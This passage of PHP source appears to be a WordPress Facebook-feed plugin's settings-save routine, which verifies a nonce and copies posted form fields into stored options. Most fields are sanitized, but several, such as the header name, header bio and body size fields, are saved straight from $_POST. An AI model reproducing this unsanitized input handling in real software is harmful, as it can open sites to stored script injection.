$cff_translate_message_page_text = $options[ 'cff_translate_message_page_text' ]; //View on Facebook link $cff_link_size = $options[ 'cff_link_size' ]; $cff_link_weight = $options[ 'cff_link_weight' ]; $cff_link_color = $options[ 'cff_link_color' ]; $cff_facebook_link_text = $options[ 'cff_facebook_link_text' ]; $cff_view_link_text = $options[ 'cff_view_link_text' ]; $cff_link_to_timeline = $options[ 'cff_link_to_timeline' ]; $cff_facebook_share_text = $options[ 'cff_facebook_share_text' ]; $cff_show_facebook_link = $options[ 'cff_show_facebook_link' ]; $cff_show_facebook_share = $options[ 'cff_show_facebook_share' ]; //Meta $cff_icon_style = $options[ 'cff_icon_style' ]; $cff_meta_text_color = $options[ 'cff_meta_text_color' ]; $cff_meta_bg_color = $options[ 'cff_meta_bg_color' ]; $cff_nocomments_text = $options[ 'cff_nocomments_text' ]; $cff_hide_comments = $options[ 'cff_hide_comments' ]; //Misc $cff_feed_width = $options[ 'cff_feed_width' ]; $cff_feed_width_resp = $options[ 'cff_feed_width_resp' ]; $cff_feed_height = $options[ 'cff_feed_height' ]; $cff_feed_padding = $options[ 'cff_feed_padding' ]; $cff_like_box_position = $options[ 'cff_like_box_position' ]; $cff_like_box_outside = $options[ 'cff_like_box_outside' ]; $cff_likebox_width = $options[ 'cff_likebox_width' ]; $cff_likebox_height = $options[ 'cff_likebox_height' ]; $cff_like_box_faces = $options[ 'cff_like_box_faces' ]; $cff_like_box_border = $options[ 'cff_like_box_border' ]; $cff_like_box_cover = $options[ 'cff_like_box_cover' ]; $cff_like_box_small_header = $options[ 'cff_like_box_small_header' ]; $cff_like_box_hide_cta = $options[ 'cff_like_box_hide_cta' ]; $cff_show_media = $options[ 'cff_show_media' ]; $cff_bg_color = $options[ 'cff_bg_color' ]; $cff_likebox_bg_color = $options[ 'cff_likebox_bg_color' ]; $cff_like_box_text_color = $options[ 'cff_like_box_text_color' ]; $cff_video_height = $options[ 'cff_video_height' ]; $cff_show_author = $options[ 'cff_show_author' ]; $cff_class = $options[ 'cff_class' ]; $cff_open_links = $options[ 'cff_open_links' ]; $cff_app_id = $options[ 'cff_app_id' ]; $cff_show_credit = $options[ 'cff_show_credit' ]; $cff_font_source = $options[ 'cff_font_source' ]; $cff_preserve_settings = 'cff_preserve_settings'; $cff_preserve_settings_val = get_option( $cff_preserve_settings ); $cff_cron = $options[ 'cff_cron' ]; $cff_request_method = $options[ 'cff_request_method' ]; $cff_disable_styles = $options[ 'cff_disable_styles' ]; $cff_format_issue = $options[ 'cff_format_issue' ]; $cff_restricted_page = $options[ 'cff_restricted_page' ]; $cff_minify = $options[ 'cff_minify' ]; $cff_cols = $options[ 'cff_cols' ]; $cff_cols_mobile = $options[ 'cff_cols_mobile' ]; $cff_disable_admin_notice = $options[ 'disable_admin_notice' ]; $cff_enable_email_report = $options[ 'enable_email_report' ]; $cff_email_notification = $options[ 'email_notification' ]; $cff_email_notification_addresses = $options[ 'email_notification_addresses' ]; //Page Header $cff_show_header = $options[ 'cff_show_header' ]; $cff_header_type = $options[ 'cff_header_type' ]; $cff_header_cover = $options[ 'cff_header_cover' ]; $cff_header_name = $options[ 'cff_header_name' ]; $cff_header_bio = $options[ 'cff_header_bio' ]; $cff_header_cover_height = $options[ 'cff_header_cover_height' ]; $cff_header_outside = $options[ 'cff_header_outside' ]; $cff_header_text = $options[ 'cff_header_text' ]; $cff_header_bg_color = $options[ 'cff_header_bg_color' ]; $cff_header_padding = $options[ 'cff_header_padding' ]; $cff_header_text_size = $options[ 'cff_header_text_size' ]; $cff_header_text_weight = $options[ 'cff_header_text_weight' ]; $cff_header_text_color = $options[ 'cff_header_text_color' ]; $cff_header_icon = $options[ 'cff_header_icon' ]; $cff_header_icon_color = $options[ 'cff_header_icon_color' ]; $cff_header_icon_size = $options[ 'cff_header_icon_size' ]; //Author $cff_author_size = $options[ 'cff_author_size' ]; $cff_author_color = $options[ 'cff_author_color' ]; //New $cff_custom_css = $options[ 'cff_custom_css' ]; $cff_custom_js = $options[ 'cff_custom_js' ]; $cff_title_link = $options[ 'cff_title_link' ]; $cff_post_tags = $options[ 'cff_post_tags' ]; $cff_link_hashtags = $options[ 'cff_link_hashtags' ]; $cff_event_title_link = $options[ 'cff_event_title_link' ]; $cff_video_action = $options[ 'cff_video_action' ]; $cff_sep_color = $options[ 'cff_sep_color' ]; $cff_sep_size = $options[ 'cff_sep_size' ]; // Texts lengths $cff_title_length = 'cff_title_length'; $cff_body_length = 'cff_body_length'; // Read in existing option value from database $cff_title_length_val = get_option( $cff_title_length, '400' ); $cff_body_length_val = get_option( $cff_body_length, '200' ); //Ajax $cff_ajax = 'cff_ajax'; $cff_ajax_val = get_option( $cff_ajax ); //Check nonce before saving data if ( ! isset( $_POST['cff_customize_nonce'] ) || ! wp_verify_nonce( $_POST['cff_customize_nonce'], 'cff_saving_customize' ) ) { //Nonce did not verify } else { // See if the user has posted us some information. If they did, this hidden field will be set to 'Y'. if( isset($_POST[ $style_hidden_field_name ]) && $_POST[ $style_hidden_field_name ] == 'Y' ) { //Update the General options if( isset($_POST[ $style_general_hidden_field_name ]) && $_POST[ $style_general_hidden_field_name ] == 'Y' ) { //General if (isset($_POST[ 'cff_feed_width' ]) ) $cff_feed_width = sanitize_text_field( $_POST[ 'cff_feed_width' ] ); (isset($_POST[ 'cff_feed_width_resp' ]) ) ? $cff_feed_width_resp = sanitize_text_field( $_POST[ 'cff_feed_width_resp' ] ) : $cff_feed_width_resp = ''; if (isset($_POST[ 'cff_feed_height' ]) ) $cff_feed_height = sanitize_text_field( $_POST[ 'cff_feed_height' ] ); if (isset($_POST[ 'cff_feed_padding' ]) ) $cff_feed_padding = sanitize_text_field( $_POST[ 'cff_feed_padding' ] ); if (isset($_POST[ 'cff_bg_color' ]) ) $cff_bg_color = sanitize_text_field( $_POST[ 'cff_bg_color' ] ); if (isset($_POST[ 'cff_class' ]) ) $cff_class = sanitize_text_field( $_POST[ 'cff_class' ] ); if (isset($_POST[ 'cff_cols' ])) $cff_cols = sanitize_text_field( $_POST[ 'cff_cols' ] ); if (isset($_POST[ 'cff_cols_mobile' ])) $cff_cols_mobile = sanitize_text_field( $_POST[ 'cff_cols_mobile' ] ); //Page Header (isset($_POST[ 'cff_show_header' ])) ? $cff_show_header = sanitize_text_field( $_POST[ 'cff_show_header' ] ) : $cff_show_header = ''; (isset($_POST[ 'cff_header_type' ])) ? $cff_header_type = $_POST[ 'cff_header_type' ] : $cff_header_type = ''; (isset($_POST[ 'cff_header_cover' ])) ? $cff_header_cover = $_POST[ 'cff_header_cover' ] : $cff_header_cover = ''; (isset($_POST[ 'cff_header_name' ])) ? $cff_header_name = $_POST[ 'cff_header_name' ] : $cff_header_name = ''; (isset($_POST[ 'cff_header_bio' ])) ? $cff_header_bio = $_POST[ 'cff_header_bio' ] : $cff_header_bio = ''; (isset($_POST[ 'cff_header_cover_height' ])) ? $cff_header_cover_height = $_POST[ 'cff_header_cover_height' ] : $cff_header_cover_height = ''; (isset($_POST[ 'cff_header_outside' ])) ? $cff_header_outside = sanitize_text_field( $_POST[ 'cff_header_outside' ] ) : $cff_header_outside = ''; if (isset($_POST[ 'cff_header_text' ])) $cff_header_text = sanitize_text_field( $_POST[ 'cff_header_text' ] ); if (isset($_POST[ 'cff_header_bg_color' ])) $cff_header_bg_color = sanitize_text_field( $_POST[ 'cff_header_bg_color' ] ); if (isset($_POST[ 'cff_header_padding' ])) $cff_header_padding = sanitize_text_field( $_POST[ 'cff_header_padding' ] ); if (isset($_POST[ 'cff_header_text_size' ])) $cff_header_text_size = sanitize_text_field( $_POST[ 'cff_header_text_size' ] ); if (isset($_POST[ 'cff_header_text_weight' ])) $cff_header_text_weight = sanitize_text_field( $_POST[ 'cff_header_text_weight' ] ); if (isset($_POST[ 'cff_header_text_color' ])) $cff_header_text_color = sanitize_text_field( $_POST[ 'cff_header_text_color' ] ); if (isset($_POST[ 'cff_header_icon' ])) $cff_header_icon = sanitize_text_field( $_POST[ 'cff_header_icon' ] ); if (isset($_POST[ 'cff_header_icon_color' ])) $cff_header_icon_color = sanitize_text_field( $_POST[ 'cff_header_icon_color' ] ); if (isset($_POST[ 'cff_header_icon_size' ])) $cff_header_icon_size = sanitize_text_field( $_POST[ 'cff_header_icon_size' ] ); //Like Box (isset($_POST[ 'cff_show_like_box' ])) ? $cff_show_like_box = sanitize_text_field( $_POST[ 'cff_show_like_box' ] ) : $cff_show_like_box = ''; if (isset($_POST[ 'cff_like_box_position' ])) $cff_like_box_position = sanitize_text_field( $_POST[ 'cff_like_box_position' ] ); (isset($_POST[ 'cff_like_box_outside' ])) ? $cff_like_box_outside = sanitize_text_field( $_POST[ 'cff_like_box_outside' ] ) : $cff_like_box_outside = ''; if (isset($_POST[ 'cff_likebox_bg_color' ])) $cff_likebox_bg_color = sanitize_text_field( $_POST[ 'cff_likebox_bg_color' ] ); if (isset($_POST[ 'cff_like_box_text_color' ])) $cff_like_box_text_color = sanitize_text_field( $_POST[ 'cff_like_box_text_color' ] ); if (isset($_POST[ 'cff_likebox_width' ])) $cff_likebox_width = sanitize_text_field( $_POST[ 'cff_likebox_width' ] ); if (isset($_POST[ 'cff_likebox_height' ])) $cff_likebox_height = sanitize_text_field( $_POST[ 'cff_likebox_height' ] ); (isset($_POST[ 'cff_like_box_faces' ])) ? $cff_like_box_faces = sanitize_text_field( $_POST[ 'cff_like_box_faces' ] ) : $cff_like_box_faces = ''; (isset($_POST[ 'cff_like_box_border' ])) ? $cff_like_box_border = sanitize_text_field( $_POST[ 'cff_like_box_border' ] ) : $cff_like_box_border = ''; (isset($_POST[ 'cff_like_box_cover' ])) ? $cff_like_box_cover = sanitize_text_field( $_POST[ 'cff_like_box_cover' ] ) : $cff_like_box_cover = ''; (isset($_POST[ 'cff_like_box_small_header' ])) ? $cff_like_box_small_header = sanitize_text_field( $_POST[ 'cff_like_box_small_header' ] ) : $cff_like_box_small_header = ''; (isset($_POST[ 'cff_like_box_hide_cta' ])) ? $cff_like_box_hide_cta = sanitize_text_field( $_POST[ 'cff_like_box_hide_cta' ] ) : $cff_like_box_hide_cta = ''; //Post types if (isset($_POST[ 'cff_show_links_type' ]) ) $cff_show_links_type = sanitize_text_field( $_POST[ 'cff_show_links_type' ] ); if (isset($_POST[ 'cff_show_event_type' ]) ) $cff_show_event_type = sanitize_text_field( $_POST[ 'cff_show_event_type' ] ); if (isset($_POST[ 'cff_show_video_type' ]) ) $cff_show_video_type = sanitize_text_field( $_POST[ 'cff_show_video_type' ] ); if (isset($_POST[ 'cff_show_photos_type' ]) ) $cff_show_photos_type = sanitize_text_field( $_POST[ 'cff_show_photos_type' ] ); if (isset($_POST[ 'cff_show_status_type' ]) ) $cff_show_status_type = sanitize_text_field( $_POST[ 'cff_show_status_type' ] ); //General $options[ 'cff_feed_width' ] = $cff_feed_width; $options[ 'cff_feed_width_resp' ] = $cff_feed_width_resp; $options[ 'cff_feed_height' ] = $cff_feed_height; $options[ 'cff_feed_padding' ] = $cff_feed_padding; $options[ 'cff_bg_color' ] = $cff_bg_color; $options[ 'cff_class' ] = $cff_class; $options[ 'cff_cols' ] = $cff_cols; $options[ 'cff_cols_mobile' ] = $cff_cols_mobile; //Page Header $options[ 'cff_show_header' ] = $cff_show_header; $options[ 'cff_header_type' ] = $cff_header_type; $options[ 'cff_header_cover' ] = $cff_header_cover; $options[ 'cff_header_name' ] = $cff_header_name; $options[ 'cff_header_bio' ] = $cff_header_bio; $options[ 'cff_header_cover_height' ] = $cff_header_cover_height; $options[ 'cff_header_outside' ] = $cff_header_outside; $options[ 'cff_header_text' ] = $cff_header_text; $options[ 'cff_header_bg_color' ] = $cff_header_bg_color; $options[ 'cff_header_padding' ] = $cff_header_padding; $options[ 'cff_header_text_size' ] = $cff_header_text_size; $options[ 'cff_header_text_weight' ] = $cff_header_text_weight; $options[ 'cff_header_text_color' ] = $cff_header_text_color; $options[ 'cff_header_icon' ] = $cff_header_icon; $options[ 'cff_header_icon_color' ] = $cff_header_icon_color; $options[ 'cff_header_icon_size' ] = $cff_header_icon_size; //Misc $options[ 'cff_show_like_box' ] = $cff_show_like_box; $options[ 'cff_like_box_position' ] = $cff_like_box_position; $options[ 'cff_like_box_outside' ] = $cff_like_box_outside; $options[ 'cff_likebox_bg_color' ] = $cff_likebox_bg_color; $options[ 'cff_like_box_text_color' ] = $cff_like_box_text_color; $options[ 'cff_likebox_width' ] = $cff_likebox_width; $options[ 'cff_likebox_height' ] = $cff_likebox_height; $options[ 'cff_like_box_faces' ] = $cff_like_box_faces; $options[ 'cff_like_box_border' ] = $cff_like_box_border; $options[ 'cff_like_box_cover' ] = $cff_like_box_cover; $options[ 'cff_like_box_small_header' ] = $cff_like_box_small_header; $options[ 'cff_like_box_hide_cta' ] = $cff_like_box_hide_cta; //Post types $options[ 'cff_show_links_type' ] = $cff_show_links_type; $options[ 'cff_show_event_type' ] = $cff_show_event_type; $options[ 'cff_show_video_type' ] = $cff_show_video_type; $options[ 'cff_show_photos_type' ] = $cff_show_photos_type; $options[ 'cff_show_status_type' ] = $cff_show_status_type; } //Update the Post Layout options if( isset($_POST[ $style_post_layout_hidden_field_name ]) && $_POST[ $style_post_layout_hidden_field_name ] == 'Y' ) { //Layout if (isset($_POST[ 'cff_preset_layout' ]) ) $cff_preset_layout = sanitize_text_field( $_POST[ 'cff_preset_layout' ] ); //Include (isset($_POST[ 'cff_show_author' ]) ) ? $cff_show_author = sanitize_text_field( $_POST[ 'cff_show_author' ] ) : $cff_show_author = ''; (isset($_POST[ 'cff_show_text' ]) ) ? $cff_show_text = sanitize_text_field( $_POST[ 'cff_show_text' ] ) : $cff_show_text = ''; (isset($_POST[ 'cff_show_desc' ]) ) ? $cff_show_desc = sanitize_text_field( $_POST[ 'cff_show_desc' ] ) : $cff_show_desc = ''; (isset($_POST[ 'cff_show_shared_links' ]) ) ? $cff_show_shared_links = sanitize_text_field( $_POST[ 'cff_show_shared_links' ] ) : $cff_show_shared_links = ''; (isset($_POST[ 'cff_show_date' ]) ) ? $cff_show_date = sanitize_text_field( $_POST[ 'cff_show_date' ] ) : $cff_show_date = ''; (isset($_POST[ 'cff_show_media' ]) ) ? $cff_show_media = sanitize_text_field( $_POST[ 'cff_show_media' ] ) : $cff_show_media = ''; (isset($_POST[ 'cff_show_media_link' ]) ) ? $cff_show_media_link = sanitize_text_field( $_POST[ 'cff_show_media_link' ] ) : $cff_show_media_link = ''; (isset($_POST[ 'cff_show_event_title' ]) ) ? $cff_show_event_title = sanitize_text_field( $_POST[ 'cff_show_event_title' ] ) : $cff_show_event_title = ''; (isset($_POST[ 'cff_show_event_details' ]) ) ? $cff_show_event_details = sanitize_text_field( $_POST[ 'cff_show_event_details' ] ) : $cff_show_event_details = ''; (isset($_POST[ 'cff_show_meta' ]) ) ? $cff_show_meta = sanitize_text_field( $_POST[ 'cff_show_meta' ] ) : $cff_show_meta = ''; (isset($_POST[ 'cff_show_link' ]) ) ? $cff_show_link = sanitize_text_field( $_POST[ 'cff_show_link' ] ) : $cff_show_link = ''; //Layout $options[ 'cff_preset_layout' ] = $cff_preset_layout; //Include $options[ 'cff_show_author' ] = $cff_show_author; $options[ 'cff_show_text' ] = $cff_show_text; $options[ 'cff_show_desc' ] = $cff_show_desc; $options[ 'cff_show_shared_links' ] = $cff_show_shared_links; $options[ 'cff_show_date' ] = $cff_show_date; $options[ 'cff_show_media' ] = $cff_show_media; $options[ 'cff_show_media_link' ] = $cff_show_media_link; $options[ 'cff_show_event_title' ] = $cff_show_event_title; $options[ 'cff_show_event_details' ] = $cff_show_event_details; $options[ 'cff_show_meta' ] = $cff_show_meta; $options[ 'cff_show_link' ] = $cff_show_link; } //Update the Typography options if( isset($_POST[ $style_typography_hidden_field_name ]) && $_POST[ $style_typography_hidden_field_name ] == 'Y' ) { //Character limits if (isset($_POST[ 'cff_title_length' ]) ) $cff_title_length_val = sanitize_text_field( $_POST[ $cff_title_length ] ); if (isset($_POST[ 'cff_body_length' ]) ) $cff_body_length_val = sanitize_text_field( $_POST[ $cff_body_length ] ); //Post Style if (isset($_POST[ 'cff_post_style' ]) ) $cff_post_style = $_POST[ 'cff_post_style' ]; (isset($_POST[ 'cff_post_bg_color' ]) ) ? $cff_post_bg_color = $_POST[ 'cff_post_bg_color' ] : $cff_post_bg_color = ''; (isset($_POST[ 'cff_post_rounded' ]) ) ? $cff_post_rounded = $_POST[ 'cff_post_rounded' ] : $cff_post_rounded = ''; if (isset($_POST[ 'cff_sep_color' ])) $cff_sep_color = $_POST[ 'cff_sep_color' ]; if (isset($_POST[ 'cff_sep_size' ])) $cff_sep_size = $_POST[ 'cff_sep_size' ]; (isset($_POST[ 'cff_box_shadow' ]) ) ? $cff_box_shadow = $_POST[ 'cff_box_shadow' ] : $cff_box_shadow = ''; //Author if (isset($_POST[ 'cff_author_size' ])) $cff_author_size = sanitize_text_field( $_POST[ 'cff_author_size' ] ); if (isset($_POST[ 'cff_author_color' ])) $cff_author_color = sanitize_text_field( $_POST[ 'cff_author_color' ] ); //Typography if (isset($_POST[ 'cff_title_format' ]) ) $cff_title_format = sanitize_text_field( $_POST[ 'cff_title_format' ] ); if (isset($_POST[ 'cff_title_size' ]) ) $cff_title_size = sanitize_text_field( $_POST[ 'cff_title_size' ] ); if (isset($_POST[ 'cff_title_weight' ]) ) $cff_title_weight = sanitize_text_field( $_POST[ 'cff_title_weight' ] ); if (isset($_POST[ 'cff_title_color' ]) ) $cff_title_color = sanitize_text_field( $_POST[ 'cff_title_color' ] ); if (isset($_POST[ 'cff_posttext_link_color' ]) ) $cff_posttext_link_color = sanitize_text_field( $_POST[ 'cff_posttext_link_color' ] ); (isset($_POST[ 'cff_title_link' ]) ) ? $cff_title_link = sanitize_text_field( $_POST[ 'cff_title_link' ] ) : $cff_title_link = ''; (isset($_POST[ 'cff_post_tags' ]) ) ? $cff_post_tags = sanitize_text_field( $_POST[ 'cff_post_tags' ] ) : $cff_post_tags = ''; (isset($_POST[ 'cff_link_hashtags' ]) ) ? $cff_link_hashtags = sanitize_text_field( $_POST[ 'cff_link_hashtags' ] ) : $cff_link_hashtags = ''; $cff_body_size = $_POST[ 'cff_body_size' ]; if (isset($_POST[ 'cff_body_weight' ]) ) $cff_body_weight = sanitize_text_field( $_POST[ 'cff_body_weight' ] ); if (isset($_POST[ 'cff_body_color' ]) ) $cff_body_color = sanitize_text_field( $_POST[ 'cff_body_color' ] ); if (isset($_POST[ 'cff_link_title_format' ]) ) $cff_link_title_format = sanitize_text_field( $_POST[ 'cff_link_title_format' ] ); if (isset($_POST[ 'cff_link_title_size' ]) ) $cff_link_title_size = $_POST[ 'cff_link_title_size' ]; if (isset($_POST[ 'cff_link_url_size' ]) ) $cff_link_url_size = $_POST[ 'cff_link_url_size' ]; if (isset($_POST[ 'cff_link_desc_size' ]) ) $cff_link_desc_size = $_POST[ 'cff_link_desc_size' ]; if (isset($_POST[ 'cff_link_desc_color' ]) ) $cff_link_desc_color = $_POST[ 'cff_link_desc_color' ]; if (isset($_POST[ 'cff_link_title_color' ]) ) $cff_link_title_color = $_POST[ 'cff_link_title_color' ]; if (isset($_POST[ 'cff_link_url_color' ]) ) $cff_link_url_color = $_POST[ 'cff_link_url_color' ]; if (isset($_POST[ 'cff_link_bg_color' ]) ) $cff_link_bg_color = $_POST[ 'cff_link_bg_color' ]; if (isset($_POST[ 'cff_link_border_color' ]) ) $cff_link_border_color = $_POST[ 'cff_link_border_color' ]; (isset($_POST[ 'cff_disable_link_box' ])) ? $cff_disable_link_box = $_POST[ 'cff_disable_link_box' ] : $cff_disable_link_box = ''; //Event title if (isset($_POST[ 'cff_event_title_format' ]) ) $cff_event_title_format = sanitize_text_field( $_POST[ 'cff_event_title_format' ] ); if (isset($_POST[ 'cff_event_title_size' ]) ) $cff_event_title_size = sanitize_text_field( $_POST[ 'cff_event_title_size' ] ); if (isset($_POST[ 'cff_event_title_weight' ]) ) $cff_event_title_weight = sanitize_text_field( $_POST[ 'cff_event_title_weight' ] ); if (isset($_POST[ 'cff_event_title_color' ]) ) $cff_event_title_color = sanitize_text_field( $_POST[ 'cff_event_title_color' ] ); (isset($_POST[ 'cff_event_title_link' ]) ) ? $cff_event_title_link = sanitize_text_field( $_POST[ 'cff_event_title_link' ] ) : $cff_event_title_link = ''; //Event date if (isset($_POST[ 'cff_event_date_size' ]) ) $cff_event_date_size = sanitize_text_field( $_POST[ 'cff_event_date_size' ] ); if (isset($_POST[ 'cff_event_date_weight' ]) ) $cff_event_date_weight = sanitize_text_field( $_POST[ 'cff_event_date_weight' ] ); if (isset($_POST[ 'cff_event_date_color' ]) ) $cff_event_date_color = sanitize_text_field( $_POST[ 'cff_event_date_color' ] ); if (isset($_POST[ 'cff_event_date_position' ]) ) $cff_event_date_position = sanitize_text_field( $_POST[ 'cff_event_date_position' ] ); if (isset($_POST[ 'cff_event_date_formatting' ]) ) $cff_event_date_formatting = sanitize_text_field( $_POST[ 'cff_event_date_formatting' ] ); if (isset($_POST[ 'cff_event_date_custom' ]) ) $cff_event_date_custom = sanitize_text_field( $_POST[ 'cff_event_date_custom' ] ); //Event details if (isset($_POST[ 'cff_event_details_size' ]) ) $cff_event_details_size = sanitize_text_field( $_POST[ 'cff_event_details_size' ] ); if (isset($_POST[ 'cff_event_details_weight' ]) ) $cff_event_details_weight = sanitize_text_field( $_POST[ 'cff_event_details_weight' ] ); if (isset($_POST[ 'cff_event_details_color' ]) ) $cff_event_details_color = sanitize_text_field( $_POST[ 'cff_event_details_color' ] ); if (isset($_POST[ 'cff_event_link_color' ]) ) $cff_event_link_color = sanitize_text_field( $_POST[ 'cff_event_link_color' ] ); //Date if (isset($_POST[ 'cff_date_position' ]) ) $cff_date_position = sanitize_text_field( $_POST[ 'cff_date_position' ] ); if (isset($_POST[ 'cff_date_size' ]) ) $cff_date_size = sanitize_text_field( $_POST[ 'cff_date_size' ] ); if (isset($_POST[ 'cff_date_weight' ]) ) $cff_date_weight = sanitize_text_field( $_POST[ 'cff_date_weight' ] ); if (isset($_POST[ 'cff_date_color' ]) ) $cff_date_color = sanitize_text_field( $_POST[ 'cff_date_color' ] ); if (isset($_POST[ 'cff_date_formatting' ]) ) $cff_date_formatting = sanitize_text_field( $_POST[ 'cff_date_formatting' ] ); if (isset($_POST[ 'cff_date_custom' ]) ) $cff_date_custom = sanitize_text_field( $_POST[ 'cff_date_custom' ] ); if (isset($_POST[ 'cff_date_before' ]) ) $cff_date_before = sanitize_text_field( $_POST[ 'cff_date_before' ] ); if (isset($_POST[ 'cff_date_after' ]) ) $cff_date_after = sanitize_text_field( $_POST[ 'cff_date_after' ] ); if (isset($_POST[ 'cff_timezone' ]) ) $cff_timezone = sanitize_text_field( $_POST[ 'cff_timezone' ] ); //Date translate if (isset($_POST[ 'cff_translate_second' ]) ) $cff_translate_second = sanitize_text_field( $_POST[ 'cff_translate_second' ] ); if (isset($_POST[ 'cff_translate_seconds' ]) ) $cff_translate_seconds = sanitize_text_field( $_POST[ 'cff_translate_seconds' ] ); if (isset($_POST[ 'cff_translate_minute' ]) ) $cff_translate_minute = sanitize_text_field( $_POST[ 'cff_translate_minute' ] ); if (isset($_POST[ 'cff_translate_minutes' ]) ) $cff_translate_minutes = sanitize_text_field( $_POST[ 'cff_translate_minutes' ] ); if (isset($_POST[ 'cff_translate_hour' ]) ) $cff_translate_hour = sanitize_text_field( $_POST[ 'cff_translate_hour' ] ); if (isset($_POST[ 'cff_translate_hours' ]) ) $cff_translate_hours = sanitize_text_field( $_POST[ 'cff_translate_hours' ] ); if (isset($_POST[ 'cff_translate_day' ]) ) $cff_translate_day = sanitize_text_field( $_POST[ 'cff_translate_day' ] ); if (isset($_POST[ 'cff_translate_days' ]) ) $cff_translate_days = sanitize_text_field( $_POST[ 'cff_translate_days' ] ); if (isset($_POST[ 'cff_translate_week' ]) ) $cff_translate_week = sanitize_text_field( $_POST[ 'cff_translate_week' ] ); if (isset($_POST[ 'cff_translate_weeks' ]) ) $cff_translate_weeks = sanitize_text_field( $_POST[ 'cff_translate_weeks' ] ); if (isset($_POST[ 'cff_translate_month' ]) ) $cff_translate_month = sanitize_text_field( $_POST[ 'cff_translate_month' ] ); if (isset($_POST[ 'cff_translate_months' ]) ) $cff_translate_months = sanitize_text_field( $_POST[ 'cff_translate_months' ] ); if (isset($_POST[ 'cff_translate_year' ]) ) $cff_translate_year = sanitize_text_field( $_POST[ 'cff_translate_year' ] ); if (isset($_POST[ 'cff_translate_years' ]) ) $cff_translate_years = sanitize_text_field( $_POST[ 'cff_translate_years' ] ); if (isset($_POST[ 'cff_translate_ago' ]) ) $cff_translate_ago = sanitize_text_field( $_POST[ 'cff_translate_ago' ] ); //Meta if (isset($_POST[ 'cff_icon_style' ])) $cff_icon_style = sanitize_text_field( $_POST[ 'cff_icon_style' ] ); if (isset($_POST[ 'cff_meta_text_color' ])) $cff_meta_text_color = sanitize_text_field( $_POST[ 'cff_meta_text_color' ] ); if (isset($_POST[ 'cff_meta_bg_color' ])) $cff_meta_bg_color = sanitize_text_field( $_POST[ 'cff_meta_bg_color' ] ); if (isset($_POST[ 'cff_nocomments_text' ])) $cff_nocomments_text = sanitize_text_field( $_POST[ 'cff_nocomments_text' ] ); if (isset($_POST[ 'cff_hide_comments' ])) $cff_hide_comments = sanitize_text_field( $_POST[ 'cff_hide_comments' ] ); //View on Facebook link if (isset($_POST[ 'cff_link_size' ]) ) $cff_link_size = sanitize_text_field( $_POST[ 'cff_link_size' ] ); if (isset($_POST[ 'cff_link_weight' ]) ) $cff_link_weight = sanitize_text_field( $_POST[ 'cff_link_weight' ] ); if (isset($_POST[ 'cff_link_color' ]) ) $cff_link_color = sanitize_text_field( $_POST[ 'cff_link_color' ] ); if (isset($_POST[ 'cff_facebook_link_text' ]) ) $cff_facebook_link_text = sanitize_text_field( $_POST[ 'cff_facebook_link_text' ] ); if (isset($_POST[ 'cff_facebook_share_text' ]) ) $cff_facebook_share_text = sanitize_text_field( $_POST[ 'cff_facebook_share_text' ] ); (isset($_POST[ 'cff_show_facebook_link' ]) ) ? $cff_show_facebook_link = sanitize_text_field( $_POST[ 'cff_show_facebook_link' ] ) : $cff_show_facebook_link = ''; (isset($_POST[ 'cff_show_facebook_share' ]) ) ? $cff_show_facebook_share = sanitize_text_field( $_POST[ 'cff_show_facebook_share' ] ) : $cff_show_facebook_share = ''; if (isset($_POST[ 'cff_view_link_text' ]) ) $cff_view_link_text = sanitize_text_field( $_POST[ 'cff_view_link_text' ] ); if (isset($_POST[ 'cff_link_to_timeline' ]) ) $cff_link_to_timeline = sanitize_text_field( $_POST[ 'cff_link_to_timeline' ] ); //Character limits update_option( $cff_title_length, $cff_title_length_val ); update_option( $cff_body_length, $cff_body_length_val ); //Author $options[ 'cff_author_size' ] = $cff_author_size; $options[ 'cff_author_color' ] = $cff_author_color; //Post Style $options[ 'cff_post_style' ] = $cff_post_style; $options[ 'cff_post_bg_color' ] = $cff_post_bg_color; $options[ 'cff_post_rounded' ] = $cff_post_rounded; $options[ 'cff_sep_color' ] = $cff_sep_color; $options[ 'cff_sep_size' ] = $cff_sep_size; $options[ 'cff_box_shadow' ] = $cff_box_shadow; //Typography $options[ 'cff_title_format' ] = $cff_title_format; $options[ 'cff_title_size' ] = $cff_title_size; $options[ 'cff_title_weight' ] = $cff_title_weight; $options[ 'cff_title_color' ] = $cff_title_color; $options[ 'cff_posttext_link_color' ] = $cff_posttext_link_color; $options[ 'cff_title_link' ] = $cff_title_link; $options[ 'cff_post_tags' ] = $cff_post_tags; $options[ 'cff_link_hashtags' ] = $cff_link_hashtags; $options[ 'cff_body_size' ] = $cff_body_size; $options[ 'cff_body_weight' ] = $cff_body_weight; $options[ 'cff_body_color' ] = $cff_body_color; $options[ 'cff_link_title_format' ] = $cff_link_title_format; $options[ 'cff_link_title_size' ] = $cff_link_title_size; $options[ 'cff_link_url_size' ] = $cff_link_url_size; $options[ 'cff_link_desc_size' ] = $cff_link_desc_size; $options[ 'cff_link_desc_color' ] = $cff_link_desc_color; $options[ 'cff_link_title_color' ] = $cff_link_title_color; $options[ 'cff_link_url_color' ] = $cff_link_url_color; $options[ 'cff_link_bg_color' ] = $cff_link_bg_color; $options[ 'cff_link_border_color' ] = $cff_link_border_color; $options[ 'cff_disable_link_box' ] = $cff_disable_link_box; //Event title $options[ 'cff_event_title_format' ] = $cff_event_title_format; $options[ 'cff_event_title_size' ] = $cff_event_title_size; $options[ 'cff_event_title_weight' ] = $cff_event_title_weight; $options[ 'cff_event_title_color' ] = $cff_event_title_color; $options[ 'cff_event_title_link' ] = $cff_event_title_link; //Event date $options[ 'cff_event_date_size' ] = $cff_event_date_size; $options[ 'cff_event_date_weight' ] = $cff_event_date_weight; $options[ 'cff_event_date_color' ] = $cff_event_date_color; $options[ 'cff_event_date_position' ] = $cff_event_date_position; $options[ 'cff_event_date_formatting' ] = $cff_event_date_formatting; $options[ 'cff_event_date_custom' ] = $cff_event_date_custom; //Event details $options[ 'cff_event_details_size' ] = $cff_event_details_size; $options[ 'cff_event_details_weight' ] = $cff_event_details_weight; $options[ 'cff_event_details_color' ] = $cff_event_details_color; $options[ 'cff_event_link_color' ] = $cff_event_link_color; //Date $options[ 'cff_date_position' ] = $cff_date_position; $options[ 'cff_date_size' ] = $cff_date_size; $options[ 'cff_date_weight' ] = $cff_date_weight; $options[ 'cff_date_color' ] = $cff_date_color; $options[ 'cff_date_formatting' ] = $cff_date_formatting; $options[ 'cff_date_custom' ] = $cff_date_custom; $options[ 'cff_date_before' ] = $cff_date_before; $options[ 'cff_date_after' ] = $cff_date_after; $options[ 'cff_timezone' ] = $cff_timezone; //Date translate $options[ 'cff_translate_second' ] = $cff_translate_second; $options[ 